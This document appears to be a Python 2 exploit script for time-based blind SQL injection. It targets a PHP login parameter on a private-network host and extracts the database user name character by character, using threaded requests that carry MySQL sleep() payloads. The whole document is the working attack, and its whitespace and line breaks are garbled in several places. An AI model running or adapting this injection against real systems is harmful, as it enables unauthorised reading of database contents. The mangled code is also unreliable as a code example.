#!/usr/bin/env python
#-*- coding: utf-8 -*-import urllib2
import time
import socket
import threading
import requestsclassmy_threading(threading.Thread):
def __init__(self, str,x):
threading.Thread.__init__(self)
self.str=str
self.x=x
def run(self):globalres
x=self.x
j=self.str
url= "http://10.0.0.21/yanci.php?username=root'+and+if%281=%28mid%28lpad%28bin%28ord%28mid%28%28select%20user()%29," + str(x) + ",1%29%29%29,8,0%29,"+ str(j) + ",1%29%29,sleep%282%29,0%29%23"html=request(url)
verify= 'timeout'
if verify not inhtml:
res[str(j)]= 0#print1
else:
res[str(j)]= 1def request(URL):
user_agent= { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10'}
req=urllib2.Request(URL, None, user_agent)try:
request= urllib2.urlopen(req,timeout=2)
except Exception ,e:
time.sleep(2)return 'timeout'
returnrequest.read()
def curl(url):try:
start=time.clock()
requests.get(url)
end=time.clock()return int(end)
except requests.RequestExceptionase:
print u"errory!"exit()
def getLength():
i= 0
whileTrue:
print"[+] Checking: %s \r" %i
url= "http://10.0.0.21/yanci.php?username=root'+and+sleep(if(length((select%20user()))="+ str(i) +",1,0))%23"html=request(url)
verify= 'timeout'
if verify inhtml:
print"[+] leng: %s" %ireturni
i= i + 1def bin2dec(string_num):return int(string_num, 2)
def getData(dataLength):globalres
data= ""
for x inrange(dataLength):
x= x + 1#print x
threads=[]for j in range(8):
result= ""j= j + 1sb=my_threading(j,x)
sb.setDaemon(True)
threads.append(sb)
#print jfor t inthreads:
t.start()for t inthreads:
t.join()
#print res
tmp= ""
for i in range(8):
tmp= tmp + str(res[str(i+1)])
#print chr(bin2dec(tmp))
res={}
result=chr(bin2dec(tmp))
print result
data= data +result
sb=None
print"[+] ok!"print"[+] result:" +dataif __name__ == '__main__':
stop=False
res={}
length=getLength()
getData(length)